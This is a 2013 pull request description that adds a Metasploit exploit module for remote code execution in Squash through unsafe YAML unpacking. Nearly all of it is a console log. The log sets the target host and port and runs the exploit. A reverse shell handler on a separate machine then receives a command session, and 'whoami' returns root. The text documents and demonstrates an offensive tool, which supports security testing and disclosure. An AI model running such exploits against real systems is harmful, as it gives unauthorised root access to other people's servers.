CharlieEriksen/metasploit-framework — pull request #1 by CharlieEriksen (2013-08-06 18:51:15+00:00)
Title: Adding Squash RCE exploit module

This adds an exploit for Squash(Squash.io), where an insecure yaml unpack can cause a remote code execution condition:

msf > use exploit/unix/webapp/squash_yaml_exec
msf exploit(squash_yaml_exec) > set RHOST 192.168.80.128
RHOST => 192.168.80.128
msf exploit(squash_yaml_exec) > set RPORT 3000
RPORT => 3000
msf exploit(squash_yaml_exec) > exploit

[*] Started reverse handler on 192.168.80.148:4444
[*] Command shell session 1 opened (192.168.80.148:4444 -> 192.168.80.128:55229) at 2013-08-06 14:42:57 -0400

whoami
root